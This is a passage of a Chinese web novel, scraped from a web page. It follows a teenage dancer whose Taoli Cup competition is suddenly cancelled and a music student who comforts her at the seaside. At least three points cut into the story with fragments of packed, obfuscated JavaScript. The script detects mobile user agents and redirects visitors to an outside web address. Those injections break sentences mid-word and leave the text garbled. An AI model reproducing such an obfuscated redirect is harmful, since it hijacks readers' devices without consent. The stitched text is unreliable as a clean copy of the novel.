薛梦站直，语气有些严肃，“不行！包子凉了多难吃啊，对胃也不好。你跟我下去吃了再上来呗。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084534|179512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “可我实在懒得换衣服，”尚佳双手合十放在下颌处，可怜巴巴，“拜托啦薛女士。” 薛梦鼓鼓嘴，“行吧。” 虽然没有成功把尚佳带去食堂，但薛梦也没有让她吃凉包子，她给尚佳送到了楼上。 拿到热乎乎的包子后，尚佳感动到立马扬言，周六请薛梦吃大餐。毕竟从艺术楼六楼下去，走到食堂，再拐回跟教学楼相对方向的艺术楼，然后爬到六楼。 这么折腾就只为了一个包子，实在不是所有人都愿意做的。 薛梦丝毫不在意什么大餐，她手一挥，头一昂，“不用，能为桃李杯金奖得主买包子，是我莫大的荣幸！” “走开！”尚佳笑着抬脚轻踢了薛梦小腿一下，“别整天弄得跟我已经拿了奖一样。” “那不是铁定的事吗！”薛梦不以为然，“行了我不打扰你了，你吃完再跳哈，我走了。” “好，”尚佳扬了扬手里的包子，“谢谢大美女的爱心包子。” 两个女生隔空互投了个kiss，薛梦才转身下楼。她回到教室没多久，晚自习就开始了。 从前尚佳偶尔也会一个人在艺术楼练习，她不在班里的时候，大家反而老老实实写作业，不说话更不捣乱，生怕给尚佳带去一点麻烦。 第一节晚自习过半，学生会巡查的查到了11级舞蹈班。 教室门被推开的时候，薛梦下意识抬头看过去，几乎是看清来人的瞬间，双眼放光。 因为今天巡查的人中，有陈祝。 薛梦倒吸一口气，强忍住没叫出来。 救命！ 今天居然是陈大才子亲自查晚自习！ 啊啊啊啊，晚上在灯光下看他又帅了是怎么回事！！！ 巡查的一共有三个人，最先进屋的是一个手里拿着记录表的女生，后面是另一个女生，陈祝跟在最后。 记录的人看尚佳的座位空着，就问：“那个位置的人呢？” “她在舞蹈教室。”梁佳怡说。 “叫什么名字？”女生问着低头就要记。 “尚佳，”见她要记名字，梁佳怡忙解释说，“我们舞蹈生被学校特许过，晚自习可以练功。” 女生可能刚开始巡查，对此并不了解。听了梁佳怡的话后，转头看向陈祝，见陈祝点头后收起手里的表，对梁佳怡说：“知道了。” 说完，三人退出了教室。 他们出去也就一分钟，屋里就炸开了锅，都在小声蛐蛐陈祝，说他长得是真帅，就是可惜没说话，没能听见他的声音。 赵璐没有参与讨论，她弓背低头沉默不语，看上去是在很认真地写作业，可其实她什么都没写，只是僵硬地坐着。 她的位置就在门口，距离陈祝最近。 刚刚他进来的时候，赵璐应激反应，瞬间低下了头。 她紧抿着唇，握着笔的手因为用力而颤抖，既想把自己藏起来，又想看陈祝。 1秒，2秒，3秒…… 不知道过了多久，她终于做好准备，可抬起头才发现，门口早就没有了陈祝的身影。 怎么就怂到，看都不敢看呢？ 而早就走出教室的陈祝在楼梯口止了脚步，抬眼跟另外两个女生说：“你们继续吧，我去趟艺术楼，看看刚刚教室里的女生在不在。” “好。” 三人分开，陈祝转身快步往楼下走、往艺术楼的方向走。 10. 分寸 . 尚佳有两个U盘，用LV的甜甜圈挂件串在一起，一个是班级剧目的音乐，一个是个人剧目的音乐。 此时装了个人剧目音乐的U盘正插在教室的音响里。 绵柔的节奏中，泡泡的音效格外明显，尚佳的动作像是在跟这些泡泡玩闹、躲藏。 陈祝走到六楼的时候，透过教室大门中间的竖条玻璃，正好看到这一幕。 他没进去打扰，靠在楼梯拐角位置，一手插兜，一手扶着楼梯，安静欣赏。 尚佳穿着上次他去帮忙伴奏时的那款深蓝色练功服，只不过下面套了条黑色的舞蹈裤，不是那时的肉粉色大袜。 舞蹈教室很开阔，开间、进深、层高都十分敞亮。 炽白明亮的顶灯打下来，动作间，尚佳胳膊后背的肌肉线条力量与纤瘦并存，漂亮到无法用言语形容。 她的腿随便一踢就在耳朵边，落地的同时能迅速连接两个前空翻。陈祝瞠目结舌地看着，只因为尚佳的空翻除了利落好看外，落地几乎没有声音。 桃李杯，从前陈祝并不了解，但是在知道了尚佳正在备战后，详细查过资料。 舞蹈界最高规格的比赛，每一届参赛的舞者，都是当时全国最顶尖的。 这个比赛，甚至不用获奖，能参加就已经是一生中最高的奖项和荣誉了。 这样高规格的比赛，陈祝跟其他老师同学一样，相信尚佳一定能拿奖，能拿金奖。 他看得出神，尚佳停下来也忘了走，还把尚佳吓了一跳。 见自己吓到了尚佳，陈祝推开门，站在门口特别不好意思地跟尚佳道歉。 “不好意思，我不是故意吓你的。” “陈祝？”尚佳认出外面的人是陈祝后，松了口气，抬步往教室门口走，“你怎么在这儿啊？你是不知道从我刚刚那个位置看过来你有多吓人。” 在陈祝面前停住后，尚佳边比划边形容，“也不开走廊的灯，煞白一张脸，一动不动地盯着我。”怕陈祝愧疚，说完又玩笑地补了句，“不过还好你长得帅，不然我真得叫出来。” 虽然尚佳有意活跃气氛，但陈祝的内疚并没有减弱半分，整个人手足无措。 “真的抱歉，我真不是故意的，”他连忙解释自己为什么在这里，“刚刚晚自习检查，你班里的同学说你在这里，我过来看看。” 尚佳拖着长长的音调“哦”了一声，一副懂了的表情，觑眼故意道：“过来查查，看我是不是真的在这里。” “不是查！”陈祝下意识反驳。 被抓包，他脖颈耳尖瞬间通红，人也站得笔直，好像他才是被检查的那个人。 使坏成功，尚佳笑了，“没关系的，很理解。”她双手随意搭在把杆上，“正好我也准备回去了。” 见解释无用，陈祝便没再说什么。 他转头看了眼漆黑的楼梯，回眸问尚佳：“需要一起吗？” 尚佳大眼睛也瞥了一眼楼梯，偏头思忖两秒，说：“也行，但我需要换衣服，你方便等一会儿吗？” “方便。” “那稍等一下，我很快。” 虽然见过几面，也算认识，但让别人等自己毕竟不好，所以尚佳以最快的速度换了衣服和鞋。走出更衣室后，发现陈祝已经关了舞蹈教室的门和灯，打开了楼梯间的灯。 没想到陈大才子还挺贴心，尚佳想。 就是吧—— 她的U盘还没拔下来呢…… 陈祝看尚佳犹犹豫豫，便问：“怎么了？还有事吗？” “有，”尚佳十分诚实地指了指教室，“我的U盘还在里面插着呢。” 陈祝：“……” 也是绝了，在喜欢的人面前，十分钟内连续办错两件事…… “抱歉，我不知道！”陈祝说，“我帮你拿！” 说着他就要开门进去，被尚佳拦住，“我自己去吧，你不知道在哪里。” 进屋、开灯、踮脚大步跨到音响旁、拔下U盘、再踮脚大步回来、关灯、关门。 整个流程尚佳用了不到半分钟，行云流水轻车熟路，一看平时就没少落东西在教室。 门外的陈祝看着她哒哒哒哒，步伐明明跟蜻蜓点水一样轻盈，但气势却如跨栏一样磅礴，突然被可爱到，刚刚懊恼的情绪瞬间烟消云散，唇角随着她的动作逐渐挑高。 出来后，尚佳晃晃手里的U盘，说：“走吧。” 陈祝点头，“好。” 说完，他转身去关走廊的灯。 灯光熄灭的瞬间，尚佳极小地惊呼的一声。 陈祝听见后迅速转回身，问：“怎么了？” “没事，”尚佳轻声说，“我习惯了这个点关灯后就自己一个人，但刚刚灯灭的瞬间，你突然从一个活生生的人，变成了黑暗中的影子，没反应过来。” 大概过了一秒，又或者两秒，陈祝的声音才响起。 他说：“那这样呢。” 与声音一同到达尚佳身边的，还有陈祝身上的味道。 独属于这个年纪的气息。 干净、清冽。 陈祝站在了距离尚佳不足一米的位置，低头垂眸，暗黑的环境中，窗外莹亮的月光钻进他的瞳孔，熠熠生辉。 “这样，会好一点吗？”他温声问。 走廊并不窄，一米六七左右的宽度，三个人并排行走绰绰有余。 过于宽旷的空间，平时不觉，此时没有了日常人流的喧嚣，尚佳竟然听到了回音。 圈圈层层萦绕在耳边，像夏天的晚风抚摸过肌肤，凉凉痒痒的。 她仰头望着陈祝，须臾后倏地笑了。 “好很多，”尚佳环起手臂挡在胸前，无意地后退一步，“刚刚暗适应看不清，现在完全没问题了。” 她后退的同时，陈祝突然意识到什么，立马也后退一步，懊恼自己的莽撞。 尚佳：“走吧，” 陈祝拿指骨抵了下鼻尖，闷声道：“嗯。” 蓝海艺术学校建筑面积近20万平，校园环境优美，建筑气势恢宏，师资力量强大。 整个校园分为三个部分，一进校门的中央景观带、环景观带三面的建筑群，以及穿过建筑群后的操场。 教学楼正对学校大门，左侧是音乐楼、艺术楼、办公楼、剧院等，右侧是图书馆、体育馆、餐厅、宿舍楼、综合楼、校史馆等。 艺术楼共有六层，尚佳就在顶楼601教室。两人要回教学楼，就需要从艺术楼的六楼下来，穿过音乐楼，然后抵达教学楼。 陈祝没有送尚佳回教室，他甚至没有跟她一起走到教学楼，在音乐楼门口跟她说了再见。 “我去趟专业课教室。”他说。 尚佳：“好，拜拜。” 两人挥手告别，随后一个人转身迈向台阶，一个人继续向前。 普通高中的日子总是黑暗沉闷的，除了刷不完的卷子就是做不完的习题。但艺术高中不同，学习可以说是他们整个高中生涯占据最少的一部分，大部分时间都在钻研各自的专业，再就是参加各种比赛和活动。 2015年的小满这一天是周三，尚佳整个下午都在跟冯伟上小课。于海雯第一节没课，也跟着来了。 热身完毕后，冯伟让尚佳把整支舞蹈和技巧组合全部跳了一遍，结束后问她：“绞腿蹦子你现在能连几个？” 尚佳有些小得意，说：“昨天晚上刚突破四个，但第四个有些吃力，而且我自己感觉后面跑范儿了，就没敢再练。” “这么厉害呢小佳佳？”于海雯笑着看她，尚佳有些不好意思地抿了抿唇。 冯伟：“我看看。” 尚佳应声后准备，四个绞腿蹦子做完，冯伟和于海雯立马看出了问题。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084535|179512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你现在太着急求量了，太想做多就导致越往后越想蹦的尽可能高，给自己更多翻的空间，但这样是错的，”冯伟说，“无论做多少个都不能想着蹦，要想着翻、转！” 于海雯说：“还有一个问题是你越往后蹦得越高，你的蹦子就会留在原地。”她走过去直接示范了四个连蹦，翻完指着自己脚下说：“看到没，我的路线是微微向前行进的，因为重心要不断向前推，连贯性才能好。你往高处走重心被分散了，就会偏，连贯性就差，那自然越往后越吃力，吃力了又想多连，自然就跑范儿。” 尚佳聚精会神，看着于海雯做示范的同时，大脑根据昨天晚上自己偷偷用另一部手机录的视频，快速分析区别，然后认真点头，“我明白了海雯老师。” 于海雯：“那再来一遍。” 于海雯退到冯伟的位置，尚佳也退到一侧，从串翻身开始连，六个串翻身后开始四个绞腿蹦子，随后继续三个串翻身，结束动作收尾。 “对，就是这样！”冯伟看完四个绞腿蹦子后脸上立马笑了，于海雯也笑着说：“比刚刚好太多了！” 听两人这样说，尚佳松了一口气，不服输的那股劲又上来了，“我觉得我能连五个。” “不用！”冯伟抬手制止，“我们不求量，这个年纪能做绞腿蹦子的本身就少，连蹦就更不用说了，你就把这四个做到极致。” 他神采奕奕地走到尚佳身边，笑容又满了几分，“看到刚刚你海雯老师的绞腿蹦子了吧？有力量的同时还十分轻盈，你的四个连到这种程度，金奖绝对没跑！” 尚佳说：“那我一会儿绑上沙袋练吧。” 冯伟点头，“可以。” “我们佳佳没问题的，”于海雯也走过来，搂着尚佳继续道，“这四个连蹦哪怕不极致，也绝对是少年组震撼的存在了，不要有压力，拿奖没问题的！” “冯老师，海雯老师。” 舞蹈教室的门被打开，一名其他专业的学生站在门口。 “怎么了？”冯伟问。 学生说：“刘主任说有急事，让你俩现在去他办公室。” “好，知道了，谢谢你。”于海雯说。 学生说完关门走了，屋里的冯伟嘱咐尚佳，“那你先自己练。” 尚佳点头，“好。” 两人出去后，尚佳在教室一旁拿过两个沙袋绑到脚腕上，先绕着教室跑了两圈，又扶着把杆踢了踢腿，翻了几趟串翻身，做完这些才开始练绞腿蹦子。 一遍，两遍，三遍…… 她练过的那片地板上一串的汗水，绞腿蹦子的位置更是滴成了一小滩。 忘我境界的时候，时间总是过得很快。 专注练习的尚佳并没有意识到，两位老师已经去了一个多小时，是薛梦的进门让她反应过来，下午的第一节课已经结束了。 “尚佳。”薛梦走进屋。 尚佳见她来，立马抬头看了一眼墙上的表，“下课了是吧？” “嗯，我刚刚去洗手间碰到了海雯老师，她让你去她办公室。”薛梦声音略低，表情也十分凝重，没了往日的大大咧咧。 一反常态的薛梦让尚佳有些不自在，她微蹙眉，说：“我又不是第一次去她办公室，你这什么表情？” “因为海雯老师这次的脸色特特特特特别差！”薛梦小脸一垮，“所以我有点担心你。” 尚佳闭眼笑，安慰薛梦道：“我又没做什么违反学校纪律的事，没事。再说了，海雯老师那么好看，脸色再差能差到哪里去。” 确实差。 尚佳看着于海雯心想，比欠债千万还差，而且不光差，神色还复杂，光盯着自己看不说话。 “哎呀，你说不出口我说，”一旁的冯伟看不下去了，走到尚佳面前俯身看着她，空前温柔，“佳佳，这一届的桃李杯比赛——” “取消了……” 11. 闪亮 . 去开会的路上，于海雯还在跟冯伟炫耀，说自己能带出一个桃李杯金奖学生，此生无憾！而且还是教学生涯的第一匹学生。 冯伟也说很荣耀，毕竟舞蹈是自己编的。 两人一路都在讨论相关话题，尚佳的剧目哪里还需要修改，技巧组合可以加上绞腿蹦子了，要不要给她定制一件练功服等等，一路聊到艺术部教导主任，刘主任的办公室。 刘主任年轻的时候是搞戏曲的，他嗓音条件很好，唱得一口好戏，也十分爱护自己的嗓子。 可今天，于海雯和冯伟推门进去后，发现他正靠着自己的办公桌，望着窗外抽烟。 “刘主任，我没看错吧，您居然在抽烟？”冯伟上前打量，看到燃了一半的香烟后眼睛睁得大大的，打趣道，“真在抽啊！” 于海雯还注意到了桌子上用一次性纸杯做的临时烟灰缸，立马已经有一根烟蒂了。 “还是第二根？”她竖着两根白皙的手指，抬头看向刘建华，“到底是什么事让你这么愁啊刘主任？” 刘建华低头，把手里剩下的烟丢进装了水的纸杯。 “嗞啦”一声，火红光焰熄灭，青灰色烟雾升腾。 他盯着徐徐上升的烟看了两秒，随后抬头，视线在两人身上滑过，最终停在于海雯身上。 他开口，嗓音略哑，“刚刚接到通知，桃李杯……取消了。” “什么？”于海雯拧眉，下意识往刘建华的方向走了两步，以为自己听错了，“取消了？什么叫取消了？” “对啊什么叫取消了？是这一届不办了吗？”冯伟收了笑，认真追问，“那是推迟到明年还是只能等下一届？” 刘建华抬手捋了把头发，挑着双眉，额头三条抬头纹明显。 “以后都不举办了，没有比赛了，也不再设立奖项，改成舞蹈教育教学成果展示。” “那怎么能行呢！”于海雯瞬间崩溃，“主任你这消息靠不靠谱啊？会不会是一些人动歪心思故意散播的假消息？” 刘建华看她，平静道：“不是假的，官方发布的。” “哪个官方？在哪里发布的我看看！！！” 于海雯说着就往刘建华办公桌上的电脑冲，被冯伟拽住，“你先冷静冷静海雯！”说完看向刘建华，“确定不举办了吗刘主任？” 刘建华没说话，闭眼点了点头。 “那我们尚佳怎么办！”于海雯挣开冯伟的手，双眼瞬间通红，声音也带了颤，“从确定参赛那天起她每天晚上都在舞蹈教室，练基本功练技巧练剧目，现在还一个人腿上绑着沙袋练绞腿蹦子呢！为了比赛，哪怕低血糖每天也吃很少，晚上从来不吃饭！现在你说桃李杯取消了，取消了她怎么办！！” 冯伟立马抽了两张纸巾递给她，宽慰道：“先别激动海雯，你先别激动。” “我怎么能不激动！”于海雯转头看他，没有接过纸巾，“我们都知道她拿金奖没问题！这一届没问题，下一届也没问题！两届桃李杯金奖得主的她也才19岁，她的未来有多闪耀我们都很清楚啊！” 见她不接，冯伟抬手给她沾了沾脸上的泪，“取消桃李杯比赛这么大的事，一定是各方领导谨慎商讨后决定的。” 于海雯不吃这一套，“哪有这样的！要取消上一届结束后就取消啊！中间三年时间呢，为什么要等到现在？” “剧目编好了，组合编好了，结果取消了，早干什么去了？全国那么多参赛选手呢，把我们当猴耍吗！！” 刘建华开口安慰道：“还有其他比赛呢，尚佳还能再参加别的。” “可都不是桃李杯了啊！”于海雯转头看向刘建华，情绪彻底崩溃，“我们都知道桃李杯的含金量，其他再多的比赛，拿再多的冠军，都不如它一个的含金量高啊！” 见于海雯情绪越来越激动，冯伟赶紧转移话题，“海雯你冷静冷静，现在最重要的是怎么跟尚佳说。” “对，想想怎么跟尚佳说。”刘建华也附和。 “怎么说，我能怎么说？”于海雯顺势坐在身边的凳子上，抬手捂住脸，“我说不出口……” - 回到办公室后，于海雯坐在自己的椅子上一动不动，冯伟看着她，轻声提醒，“海雯，你下节有课。” 于海雯偏头看了眼墙上的表，起身说：“我去洗把脸。” 碰巧在洗手间遇见了薛梦，让她叫了尚佳。 “取消了？”尚佳问，“什么叫取消了？” “不比赛评奖了，以后也不会了，改成教学成果展示。”冯伟说。 尚佳觉得自己听到这个消息应该有些反应。 比如最基本的瞬间红了眼眶，比如急切追问“为什么”“真的吗”等。 可是她很平静，好像得知的不是桃李杯取消了，而是一次再普通不过的演出取消了一样。 她合唇吞了口口水，然后轻声说：“我知道了冯老师。” 尚佳没红的眼眶，没流的泪水全部殷在了于海雯的眸子中。她起身把尚佳抱进怀里，一手搂着她的后背，一手护着头。 “宝贝，我给你开条，你出去散散心，好吗？晚自习前回来就行，”于海雯深吸一口气，努力压抑自己的情绪，闭上眼道，“注意安全。” 尚佳整张脸窝在于海雯怀里，闷闷地应了句，“好。” - 魏叔看到尚佳，露出往日一样的慈目笑容，“尚佳啊，又帮老师拿东西啊？” 尚佳抬眼，把手里的纸条递过去，笑得有些勉强，“嗯。” 魏叔盖了章又递还给她，“注意安全啊。” “谢谢魏叔。” 出了校门，尚佳无意识地走着，不知不觉进了离学校不远的那家酸奶店。 进门后老板娘亲切地招呼她，尚佳反应过来，随便点了杯酸奶，然后坐在靠窗的位置，望着外面发呆。 她有些迷茫，脑子清晰也混乱。 尚佳第一次知道桃李杯，是在小学五年级的时候。 兴趣班的老师在看第八届桃李杯唐诗逸的剧目——《碧雨幽兰》，尚佳就在旁边，听老师介绍视频中的人，说她很厉害，16岁首次参赛就拿了桃李杯金奖。 小小年纪的尚佳盯着屏幕中撑着伞、穿着裙、扎着麻花辫起舞的人，暗暗下决心，自己以后也要站在这个舞台上，也要拿金奖。 如今她真的有了可以参加比赛的资格，甚至极有可能拿到曾经小小的她，在屏幕外羡慕的金奖。 然而，桃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084536|179512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李杯取消了…… 取消了，永远取消了。 她再也没有机会拿到“舞蹈界奥斯卡”的荣誉了。 “尚佳？” 尚佳敛神转头，陈祝站在她身边。 “你怎么在这儿？”她问。 “李老师让我出来给大家买酸奶，你呢？”陈祝又朝她走了一步，歪头问她，“你又是因为什么在这儿？” 尚佳垂眸，眨了两下眼才故作轻松道：“我去拿服装，偷会儿懒，帮我保密啊。” 陈祝觉得尚佳撒了谎，但他没有拆穿，浅笑着点头，“好。” 买完酸奶，陈祝跟尚佳告了别，然后风一样跑回学校，刹停在办公室门口。刚准备敲门，听到办公室里的老师在讨论尚佳。 “桃李杯取消对尚佳打击一定很大，所有老师都知道她是拿金奖的好苗子，这下好了。” “我听说刚刚海雯都跟刘主任吵起来。” “能不吵吗？要我我也吵，那可是桃李杯啊！” “那尚佳呢？知道那孩子现在怎么样吗？” “海雯给她放了假，让她出去散散心。唉，要我说……” 桃李杯取消了！！！ 陈祝愣在办公室门口，脑子里全是刚刚尚佳强颜欢笑的模样。 他绷直嘴唇，握紧了悬在半空中的拳头。 良久良久，紧握的拳头才放松。 松开时，指甲嵌进皮肤的粘连感才让尚佳察觉，原来她自以为的没反应，其实早就深入了皮肉。她盯着自己掌心几道深紫色的印子，又是一阵发呆。 过了许久，尚佳才回神。 树在晃，车在走，时间在前进，她也不能一直坐在这里。 埋头吃完桌上的酸尚佳才意识到一个很现实的问题—— 没拿钱包。 …… 思考两秒，她起身走到吧台旁，准备跟老板娘说实话，并希望能等她五分钟，她回去拿钱。 可还不等她说话，老板娘先开了口。 “这次不用给钱了，阿姨请你的，”说完脸上的笑又温柔了几分，“尚佳，阿姨不知道你为什么会在上课的时间来，又为什么一脸凝重。但阿姨知道你是好孩子，所以今天的酸奶，阿姨请你喝，以后你多带同学过来照顾照顾阿姨生意就行。” 尚佳有些意外，连忙道：“这怎么能行呢阿姨！” “怎么不行？我自己的店我自己说了还能不算？”老板娘说完冲尚佳摆摆手，“好了，快回去吧。” 见老板娘态度坚决，尚佳也没再推脱，认真鞠躬道谢后，转身往门外走。 玻璃门推开，街道两侧的海棠花已经败了，只剩下大把大把的嫩绿叶片。高大的梧桐如伞一般茂盛，厚实的叶片遮挡住阳光，尚佳抬头看天，不觉得刺眼。 “滴”的一声喇叭响，尚佳收回视线，一辆水蓝色的踏板电动车稳稳停在她面前。 骑车的人左脚向外一伸，校服裤下笔直颀长的腿轻轻踩在路缘石上，双手摘下头盔随意揽在怀里，偏头看向尚佳。 是陈祝。 他明明在树荫下，但眉目间却与初见那天，被阳光照耀时一样闪亮。 他看着尚佳，柔笑着温声问：“这位同学，要搭车吗？” 12. 海边 . 五月底的阳光已经带了初夏的重量。 靠近海边的沥青路因为空气中的潮气格外干净，绿化带的叶片也翠得发亮，在阳光的照拂下，微风的吹动下，勃勃生机。 连绵的蓝色护栏外，是狭长的金色沙滩和一望无际的大海。 一辆载着两个青春身影的水蓝色踏板电动车，轻盈地从公路右侧滑入画面。 黑色轮胎碾过路面，一圈又一圈快速翻滚着向前，四周的景象变成了一道流动的翠色光影，倒带一样向后流转。 “停下来还是骑下去？”陈祝略向后侧头问。 “停下来吧。”尚佳说。 “好。” 陈祝在停车区找了一处阴凉放车，车放好后接过尚佳的头盔，跟自己的并排放在了座椅上。 他看向尚佳，问：“想去哪里？” 尚佳扭头看了看四周，指着不远处的沿海人行道，“去那里走走吧。” “好。” 不是节假日，海边的人并不算多。 海风带着它特有的微咸而湿润的气息，从辽阔的海面吹来，越过蓝色护栏，吹拂在两个年轻人的脸上。尚佳刚刚为了方便戴头散了头发，乌黑的发丝因为风的到来，瞬间获得了生命，在她白皙的脸颊旁热烈地飞舞、缠绕。 陈祝偏头看她，发现刚刚在酸奶店微微蹙起的眉心，现在松开了一些。绷紧的唇线也软化了一些，甚至有了很微小但确实也上扬了的弧度。 几分钟后，尚佳在一处树荫下停脚，走到护栏边，双手搭在上面，望着不远处的湛蓝大海。 陈祝安静站在她旁边，没有说话。 许久，海风送来了尚佳的声音。 很轻，很浅。 “陈祝，你知道桃李杯吗？” 陈祝回答，“知道。” 尚佳又问：“你知道我要参加吗？” 陈祝说：“知道。” “那你知道我现在参加不了了吗？” “……” 这次陈祝没有立刻回答。 他垂下半个眼睑，盯着尚佳的侧脸看了两秒，才又轻声道：“知道。” 尚佳倏地笑了一下，抬头看他，“你知道的还挺多。” 陈祝连忙解释：“是刚刚回去给李老师送酸奶的时候，听办公室其他老师说的。”他侧侧身子，让自己正脸面向尚佳，“抱歉啊。” “这有什么好道歉的？”尚佳不解。 陈祝抬眼对上尚佳的瞳孔，语气极为认真，“因为我不知道这算不算你的秘密。” 听他这样说，尚佳笑得更开了，还笑出了声。 她重新看回大海，“这算哪门子的秘密啊，我估计这会儿全校师生知道得差不多了。”说完又看回陈祝，“谢谢你骑车带我出来看海。” 见尚佳情绪有所好转，陈祝唇角弯起，泄了口气，肩膀随之放松，有些俏皮地说：“刘主任说了，晚自习前必须看到他的小蓝出现在校园门口。” 尚佳笑，敞亮道：“没问题！” 她转回脸，视线越过沙滩，投向那片波光粼粼的蔚蓝。 几分钟后，她问陈祝，“陈祝，你是几岁开始学音乐的？” 陈祝说：“我其实记不清具体的时间，但好像从有记忆开始，我的生活就被音符和乐器包围。” 尚佳点点头，然后开始轻声诉说自己的舞蹈生涯。 “我4岁接触舞蹈，5岁开始上辅导班，10岁知道了桃李杯，12岁考进蓝海艺校。” “到今天为止，我已经拿遍了我这个年纪能拿的所有奖。” “所以今天之前，我以为自己的舞蹈生涯，会从闪闪发光的桃李杯金奖开始起步。只是没有想到，它居然取消了……”尚佳没再往下说，搭在护栏上的两只胳膊撑直，向后晃了晃自己，故作轻松地玩笑道，“唉，生不逢时啊。” 尚佳的故作坚强和轻松让陈祝心情复杂。 不是单纯的心疼，更多的应该是天妒英才的可惜。 他收了笑，说出口的话也小心翼翼，生怕触碰到尚佳的痛。 “之前看到有句话，叫‘凡发生之事皆有利于我，事与愿违一定另有安排’，不知道能不能安慰到你。” 凡发生之事皆有利于我，事与愿违一定另有安排。 这让尚佳想起《道德经》里的一句话： 祸兮，福之所倚；福兮，祸之所伏。 她看向陈祝，歪头笑问：“陈祝，有没有人说过，你的声音很治愈，跟你说话心情会变好？” 陈祝愣了，诚实摇头，“没有。” “那我来说，”尚佳站直身子，跟陈祝面对面，“陈祝，你的声音说出刚刚那句话，我不敢说以后，但至少此刻，真的安慰到了我。” “谢谢你。” 陈祝觉得，眼前的一切都模糊了，就连尚佳都开始变得不清楚。远处海浪声渐渐消失，脑海中只剩下尚佳的声音在回荡。 只是尚佳说完就转回了身，没给陈祝反应时间。 她看着远处翻涌不停的海浪，言语恢复了往日的明媚，洒脱道：“取消就取消，十月份还有很重要的团体比赛呢，不能消沉。” “情绪嘛，流过自己就好了，不能困住，”她转头对上陈祝的目光，问，“对吧？” “对！”陈祝点头，露出笑容，“让它流过，不要被它束缚。” 16岁的少女少年，相视而笑。 阳光慷慨地在海面上洒下无数跳跃的金星，璀璨夺目。风依旧执着地吹着尚佳的发丝，吹着两人的衣襟，吹过两人上扬的唇角。 那些极其沉重的、不甘的情绪，随着对话，随着这源源不断的风，一丝一缕地从尚佳身体里抽离出来，飘在空中，最终消散在无垠的海天之间。 年少的时候其实不懂取舍，只知道那是想要的，没了就是会不开心。 可万事万物有因有果，这种大人才会懂得道理，如果小时候能理解一二，便是所谓的成熟了。 所以这一天，尚佳看着远处波光粼粼的海面，品尝着咸咸的海风。 她第一次真切感受到了所谓的“成长”。 比陈祝的话更安慰尚佳的，是同学的态度。 她回去的时候快上晚自习了，王宛见她进屋，一个箭步冲到她面前，揽着她的肩膀道：“班长你都不知道，海雯老师选的汇报剧目可难了，没有你我们一点都搞不定。” 梁佳怡也说：“而且我们下午学了一整节课，压根没学多少。” 赵璐：“薛梦还总说我们学得慢，明明是她扒得不对。” 薛梦听了绕过桌子三两步跑过来，不满道：“我哪里扒得不对，明明就是对的！” 秦雅然笑，“动作是没错，但你一会儿镜像一会儿不镜像，弄得我们 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“佳佳呢？她怎么样？”她问。 尚明说：“海雯老师说给她放了一节课的假，让她出去散心了。” 彭玉环走进办公室，后背倚在门板上，左手揉了揉皱着的眉心，道：“佳佳从小要强，哪怕她嘴上不说，但这件事对她打击一定很大。” “所以我这才想跟你商量，老婆，这周我们把佳佳接回家吧。”尚明说。 “行。” …… 四人上车，白色宾利驶离蓝海艺校。 不远处的黑色迈巴赫上，陈祝的目光也随着汽车远离。 陈礼民还有一点工作没有处理完，祝好则在副驾补妆。 可当妈的实在太了解自己孩子，她从镜中看着自己那望眼欲穿的儿子，轻声问：“陈祝，刚刚那辆车里是你同学吗？” “啊？”陈祝回神，“呃，不算是。” 这下祝好来了兴致，扭头：“什么叫不算是？” “是同学，但不是同班的，也不是一个专业。” 陈祝声音越来越低，祝好听完点点头，又往他的方向探了探身子，眯着眼试探，“女生？” “……”陈祝抿唇，“嗯。” “喜欢的女生？” 这次陈祝坚定地点了下头，“是。” “哇哦！”祝好开心了，“那妈妈问你，之前来接你的时候，你总说有同学搭车，但最后总是不了了之，是不是为了看这个女生？” 被揭穿，陈祝两只耳朵“唰”的一下红了个彻底。 他偏头，但没撒谎，用喉咙闷闷应了一声，“嗯。” 见他承认，祝好笑着拍打陈礼民的胳膊，“老公你听到没！儿子有喜欢的姑娘了。” 陈礼民转头摸了下祝好的手，“我早看出来这小子不对了。” “真的吗？” “嗯。” “那你怎么没跟我提过？” “这不是一直没机会跟他聊聊，确认一下。” 祝好笑，“现在确认了！” 她看向陈祝。 “所以请问陈祝同学，你现在是在追人家吗？” 13. 《鳍》 . 对于母亲的提问，陈祝没有犹豫。 “没有，”陈祝坚定地说，“还没有开始追求。” “暗恋啊？”祝好问。 陈祝抬手蹭了下鼻尖，“嗯。” 祝好把手里的口红收进化妆包，胳膊肘搭在中央扶手上撑着自己的脸，认真但并不严肃地跟陈祝讲。 